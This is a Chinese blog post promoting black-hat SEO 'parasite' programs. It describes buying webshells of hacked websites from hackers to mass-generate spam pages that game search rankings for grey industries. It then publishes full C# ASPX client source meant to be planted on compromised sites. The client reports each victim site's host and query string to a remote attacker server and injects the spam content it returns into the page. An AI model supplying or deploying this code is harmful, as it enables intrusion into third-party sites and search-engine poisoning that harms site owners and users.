当前位置: 网赚博客 > 网赚工具 >黑帽SEO之寄生虫C#版客户端源码

黑帽SEO之寄生虫C#版客户端源码

发布时间:2020-04-15 16:13:37 | 作者: 迪克酥酥 | 分类:网赚工具

image.png

一、什么是寄生虫

        寄生虫大多数都是通过从黑客手里购买站点WebShell,然后对其站点不断生成新的页面产生排名,进行变相无限繁殖。
        但有两点需要注意:

        1.一般高权重网站的shell很难获取,因为这类网站大都有专业技术人员在管理维护,黑客没那么容易拿到权限。

        2.一般低权重网站就算你拿到了权限,但也对你排名没什么很大的价值。

二、寄生虫的排名工作原理

        1.寄生虫程序区别于很多黑帽seo程序,那么寄生虫大家都不陌生。但寄生虫真正的工作原理,是为了更高效率的生存。首先要知道寄生虫的前身是泛目录,泛目录的前身是目录轮链,目录轮链的前身是桥页。寄生虫分为客户端与服务端,新手会有顾虑,为何搞出服务端这么麻烦。但如果是大批量操作,寄生虫非常节省时间,协助能力也非常的高。

        2.寄生虫的原理是通过客户端获取服务器端信息繁殖,因此客户端就很简单,只有一个文件,但客户端放到Shell网站,即可指定的获取服务器端信息,服务器端信息配置更新,客户端也会对新的信息进行生成轮链。那么客户端是获取服务器端信息的,同样就需要配置服务器端,服务器端进行一次配置。以后不管有几个Shell站,都可以同时用服务器端配置好的信息。配置好服务器端后,客户端获取地址填写架设服务器端的地址,客户端放到自己网站、放到Shell站中即会产生数十个目录轮链地址,此时你看到的并不是和泛目录一样有很多的目录,寄生虫是繁殖的,通过百度蜘蛛或者人工每次访问,在有访问的情况下,不管是人工还是蜘蛛,都会在进行繁殖生成的。这就是寄生虫繁殖的功能,每次生成数十个页面,通过蜘蛛的来访,会再繁殖几十个页面,以此循环。

        3.寄生虫繁殖可以通过多个Shell无限繁殖,那么值得一说的,寄生虫同样有Shell站群功能,通过不同的Shell生成,客户端会返回URL数据到服务器端,服务器端记录下此次的繁殖数据,在下次不同的Shell进行繁殖,会链接上上一次繁殖的页面。寄生虫站群相互链接功能,在多个Shell中,寄生虫会记录每个URL并进行相互的站群导入导出轮链操作。

三、寄生虫的种类

        1.从类型上看,寄生虫程序主要分两种,即动态寄生虫和静态寄生虫。简单理解就是生成繁殖的URL链接形式分为动态连接和静态链接这两种形式,从生成的页面链接上就可以看的出来。

        2.从程序语言上看,寄生虫程序又分为ASP版寄生虫和PHP版寄生虫,编写使用语言不同,所繁殖生成的页面URL链接形式也不同。这里大家主要作为了解即可。

四、常见寄生虫程序简介

        目前市面上有很多寄生虫程序,功能大多相似,主要还是在于寄生虫程序模版的选择与使用,是否更适应搜索引擎的排名算法。

        影响寄生虫排名的最终结果主要取决于webshell的质量度。没有强大的高质量的shell,再好的寄生虫程序也做不出来很好的效果。同样的话,假如你的webshell质量度很高,相对来说你所繁殖生成的关键词URL链接页面就会通过该shell的主站权重传递获得一个相对不错的排名结果。

五、寄生虫的作用

        1.在有效的资源下,把所有想做的关键词都建立在一个庞大的资源上(适用于灰色产业)。

        2.能够快速的实现大量长尾词甚至核心词在搜索引擎上的一个排名提现,带来收益。

六、寄生虫客户端源码C#版

<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System.Diagnostics"%>
<%@ import Namespace="System.Data"%>
<%@ import Namespace="System.Management"%>
<%@ import Namespace="System.Data.OleDb"%>
<%@ import Namespace="Microsoft.Win32"%>
<%@ import Namespace="System.Net.Sockets" %>
<%@ import Namespace="System.Net" %>
<%@ import Namespace="System.Runtime.InteropServices"%>
<%@ import Namespace="System.DirectoryServices"%>
<%@ import Namespace="System.ServiceProcess"%>
<%@ import Namespace="System.Text.RegularExpressions"%>
<%@ Import Namespace="System.Threading"%>
<%@ Import Namespace="System.Data.SqlClient"%>
<%@ import Namespace="Microsoft.VisualBasic"%>
<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>
<script runat="server">
/// <summary>
/// POST 请求方法
/// body是要传递的参数,格式"roleId=1&uid=2"
/// post的cotentType填写:
/// "application/x-www-form-urlencoded"
/// soap填写:"text/xml; charset=utf-8"
/// </summary>
/// <param name="url"></param>
/// <param name="body"></param>
/// <param name="contentType"></param>
/// <returns></returns>
    public string PostHttp(string url, string body, string contentType)
    {
        HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(url);
        httpWebRequest.ContentType = contentType;
        httpWebRequest.Method = "POST";
        httpWebRequest.Timeout = 20000;
        //byte[] btBodys = Encoding.UTF8.GetBytes(body);
        byte[] btBodys = Encoding.Default.GetBytes(body);
        httpWebRequest.ContentLength = btBodys.Length;
        httpWebRequest.GetRequestStream().Write(btBodys, 0, btBodys.Length);
        HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
        StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream());
        string responseContent = streamReader.ReadToEnd();
        httpWebResponse.Close();
        streamReader.Close();
        httpWebRequest.Abort();
        httpWebResponse.Close();
        return responseContent;
    }
    /// <summary>
    /// get 请求方法
    /// </summary>
    /// <param name="url"></param>
    /// <returns></returns>
    public string GetHttp(string url)
    {
        HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(url);
        httpWebRequest.ContentType = "application/x-www-form-urlencoded";
        //httpWebRequest.Headers.Add("User-Agent", "aQ0O010O");
        httpWebRequest.UserAgent = "aQ0O010O";
        httpWebRequest.Method = "GET";
        httpWebRequest.Timeout = 999999;
        HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
        StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream(), Encoding.GetEncoding("GB2312"));
        string responseContent = streamReader.ReadToEnd();
        httpWebResponse.Close();
        streamReader.Close();
        return responseContent;
    }
    protected void Page_Load(object sender, EventArgs e)
    {
        string Remote_server = "http://域名/服务端所在目录/";
        string host_name = "http://" + Request.ServerVariables["HTTP_HOST"] + Request.ServerVariables["script_name"];
        string Remote_file = Remote_server + "/index.php" + "?host=" + host_name + "&url=" + Request.ServerVariables["Query_String"] + "&domain=" + Request.ServerVariables["Server_Name"];
        string Content_mb = GetHttp(Remote_file);
        Response.Write(Content_mb);
    }
</script>


来源:(QQ/微信:313919848),转载请保留出处和链接!

本文链接: https://www.uzhan5.com/post/14599

本文标签:

SEO寄生虫源码

相关阅读:

淘宝客阿里妈妈联盟高佣金商品采集软件

小懒虫-抖音橱窗商品管理助手淘客高佣金内部优惠券采集软件

小懒虫:抖音橱窗商品管理助手每月仅需29.9

黑帽SEO之寄生虫C#版客户端源码

淘宝爆款,高佣金商品采集抖音批量上传软件自动带货神器

关注迪克酥酥学习网赚技巧

评论区

    已有 2 位网友发表了看法:

    欢迎您发表评论:

    免费注册 快速登录 网赚工具
    收藏本站

    网赚交流群

    U5网赚客服 返回顶部

    您好,欢迎进入 U5网赚!请 [登录] [注册]

    博客导航 淘宝大额优惠券 站长圈 站长工具 公告资讯